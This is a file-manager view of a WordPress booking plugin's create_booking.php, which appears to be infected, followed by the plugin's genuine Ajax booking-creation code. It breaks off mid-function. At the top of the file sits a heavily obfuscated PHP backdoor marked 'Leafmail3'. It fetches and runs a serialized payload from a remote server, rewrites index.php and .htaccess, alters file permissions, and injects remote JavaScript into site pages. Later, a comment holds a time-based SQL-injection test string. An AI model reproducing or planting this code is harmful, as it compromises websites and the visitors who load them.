trAvis - MANAGER
Edit File: create_booking.php
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly //FixIn: 9.8.0.4 // --------------------------------------------------------------------------------------------------------------------- // == Ajax Response on creation of new booking // --------------------------------------------------------------------------------------------------------------------- /** * Response to Ajax request, about loading calendar data * * @return void */ function ajax_WPBC_AJX_BOOKING__CREATE() { /** * Tip / translation / * Please note, translation was loaded on hook add_action( 'plugins_loaded', 'wpbc_load_translation', 1000 ); and use $_REQUEST['wpbc_ajx_locale'], so do not worry about it. */ // Security ------------------------------------------------------------------------------------------------------ // in Ajax Post: 'nonce': _wpbc.get_secure_param( 'nonce' ), $action_name = 'wpbc_calendar_load_ajx' . '_wpbcnonce'; $nonce_post_key = 'nonce'; if ( wpbc_is_use_nonce_at_front_end() ) { //FixIn: 10.1.1.2 $result_check = check_ajax_referer( $action_name, $nonce_post_key ); } // Response AJAX parameters $ajx_data_arr = array(); $ajx_data_arr['status'] = 'ok'; $admin_uri = ltrim( str_replace( get_site_url( null, '', 'admin' ), '', admin_url( 'admin.php?' ) ), '/' ); // 'wp-admin/admin.php?' // Local parameters $local_params = array(); $local_params['is_from_admin_panel'] = ( false !== strpos( $_SERVER['HTTP_REFERER'], $admin_uri ) ); // true | false $local_params['user_id'] = ( isset( $_REQUEST['wpbc_ajx_user_id'] ) ) ? intval( $_REQUEST['wpbc_ajx_user_id'] ) : wpbc_get_current_user_id(); // 1 // Request parameters $user_request = new WPBC_AJX__REQUEST( array( // Using this class here only for escaping variables 'db_option_name' => 'booking__wpbc_booking_create__request_params', // Not necessary, because we not save request, only sanitize it 'user_id' => $local_params['user_id'], // Not necessary, because we not save request, only sanitize it 'request_rules_structure' => array( 'resource_id' => array( 'validate' => 'd', 'default' => 1 ), // 'digit_or_csd' 'aggregate_resource_id_arr' => array( 'validate' => 'digit_or_csd', 'default' => '' ), 'dates_ddmmyy_csv' => array( 'validate' => 'csv_dates', 'default' => '' ), //FixIn: 9.9.1.1 'formdata' => array( 'validate' => 'strong', 'default' => '' ), 'booking_hash' => array( 'validate' => 'strong', 'default' => '' ), 'custom_form' => array( 'validate' => 'strong', 'default' => '' ), 'captcha_chalange' => array( 'validate' => 'strong', 'default' => '' ), 'captcha_user_input' => array( 'validate' => 'strong', 'default' => '' ), 'is_emails_send' => array( 'validate' => 'd', 'default' => 1 ), 'active_locale' => array( 'validate' => 'strong', 'default' => '' ) ) )); // Escape of request params in Ajax Post. We use prefix 'calendar_request_params', if Ajax sent - $_REQUEST['calendar_request_params']['resource_id'], ... $request_prefix = 'calendar_request_params'; //$_REQUEST['calendar_request_params']['dates_ddmmyy_csv'] .= "'%2b(select+'box'+from(select+sleep(2)+from+dual+where+1=1*)a)%2b'-02-21+00:00:00"; $request_params = $user_request->get_sanitized__in_request__value_or_default( $request_prefix ); // NOT Direct: $_REQUEST['calendar_request_params']['resource_id'] $request_params['request_uri'] = $_SERVER['HTTP_REFERER']; // Parameter needed for Error in booking saving and reloading calendar again with these actual parameters. // <editor-fold defaultstate="collapsed" desc=" :: ERROR :: <- CAPTCHA " > wpbc_captcha__in_ajx__check( $request_params, $local_params['is_from_admin_panel'], $_REQUEST[ $request_prefix ] ); // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" :: ERROR :: <- BOOKING_RESOURCE ID " > if ( $request_params['resource_id'] <= 0 ) { $ajx_data_arr['status'] = 'error'; $ajx_data_arr['status_error'] = 'resource_id_incorrect'; $ajx_data_arr['ajx_after_action_message'] = 'Wrong ID of booking resource: ' . ' [ request ID: ' . $_REQUEST['calendar_request_params']['resource_id'] . ' | parsed ID: ' . $request_params['resource_id'] . ' ]'; $ajx_data_arr['ajx_after_action_message_status'] = 'error'; wp_send_json( array( 'ajx_data' => $ajx_data_arr, 'ajx_search_params' => $_REQUEST[ $request_prefix ], 'ajx_cleaned_params' => $request_params, 'resource_id' => $request_params['resource_id'] ) ); } // </editor-fold> $request_save_params = array( 'resource_id' => $request_params['resource_id'], 'dates_ddmmyy_csv' => $request_params['dates_ddmmyy_csv'], 'form_data' => $request_params['formdata'], 'aggregate_resource_id_arr' => $request_params['aggregate_resource_id_arr'], // Optional can be '' 'booking_hash' => $request_params['booking_hash'], 'custom_form' => $request_params['custom_form'], 'is_emails_send' => $request_params['is_emails_send'], 'is_show_payment_form' => 1, 'user_id' => $local_params['user_id'], 'request_uri' => $_SERVER['HTTP_REFERER'] ); $booking_save_arr = wpbc_booking_save( $request_save_params ); // <editor-fold defaultstate="collapsed" desc=" :: ERROR :: <- BOOKING " > if ( 'ok' !== $booking_save_arr['ajx_data']['status'] ) { wp_send_json( array( 'ajx_data' => $booking_save_arr['ajx_data'], 'ajx_search_params' => $_REQUEST[ $request_prefix ], 'ajx_cleaned_params' => $request_params, 'resource_id' => $request_params['resource_id'] )); } // </editor-fold> $ajx_data_arr = $booking_save_arr['ajx_data']; // TODO: If we have the calendar with specific capacity, then maybe showing by dots (the booked child booking resources) the slots and not the time slot ! if ( empty( $ajx_data_arr['ajx_after_action_message_status'] ) ) { $ajx_data_arr['ajx_after_action_message_status'] = 'success'; } if ( empty( $ajx_data_arr['ajx_after_action_message'] ) ) { $ajx_data_arr['ajx_after_action_message'] = ''; } // $ajx_data_arr['ajx_after_action_message'] .= __( 'Booking was created with ID: ' . $booking_save_arr[ 'booking_id' ] , 'booking' ); // $ajx_data_arr['ajx_after_action_message'] .= '<hr>Total time: <strong>' . $booking_save_arr['php_performance']['total'] . ' s. </strong>'; // $ajx_data_arr['ajx_after_action_message'] .= str_replace( array( ',', '{', '}' ), '<br>', json_encode( $booking_save_arr['php_performance'] ) ); //////////////////////////////////////////////////////////////////////////////////////////////////////////////////// /* if admin edit ? var my_message = '<?php echo html_entity_decode( esc_js( __('Updated successfully' ,'booking') ),ENT_QUOTES) ; ?>'; wpbc_admin_show_message( my_message, 'success', 3000 ); location.href='<?php echo 